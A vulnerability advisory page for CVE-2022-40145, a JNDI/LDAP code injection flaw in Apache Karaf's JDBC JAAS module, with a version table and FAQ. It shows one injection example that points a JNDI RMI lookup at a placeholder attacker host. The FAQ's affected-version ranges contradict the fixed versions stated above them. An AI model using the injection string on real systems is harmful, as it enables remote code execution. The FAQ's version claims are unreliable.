CVE-2022-40145: Apache Karaf: JDBC JAAS LDAP injection
First published: Wed Dec 21 2022(Updated: )
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Credit: security@apache.org
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Apache Karaf | <4.3.8 | |
| Apache Karaf | >=4.4.0<4.4.2 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is CVE-2022-40145?
CVE-2022-40145 is a vulnerability in Apache Karaf that allows for potential code injection when an attacker has control over the target LDAP server.
How severe is CVE-2022-40145?
CVE-2022-40145 has a severity rating of critical with a score of 9.8 out of 10.
Which software is affected by CVE-2022-40145?
Apache Karaf versions up to and including 4.3.8 and versions 4.4.0 to 4.4.2 are affected by CVE-2022-40145.
What is the CWE classification of CVE-2022-40145?
CVE-2022-40145 has the CWE classifications of CWE-94 (Improper Control of Generation of Code) and CWE-20 (Improper Input Validation).
How can I fix CVE-2022-40145?
To fix CVE-2022-40145, it is recommended to update Apache Karaf to a version that is not affected by the vulnerability.
- collector/nvd-index
- agent/type
- agent/softwarecombine
- collector/mitre-cve
- source/MITRE
- agent/weakness
- agent/last-modified-date
- agent/author
- agent/references
- agent/severity
- agent/title
- agent/tags
- agent/description
- agent/first-publish-date
- agent/event
- vendor/apache
- canonical/apache karaf
- version/apache karaf/4.4.0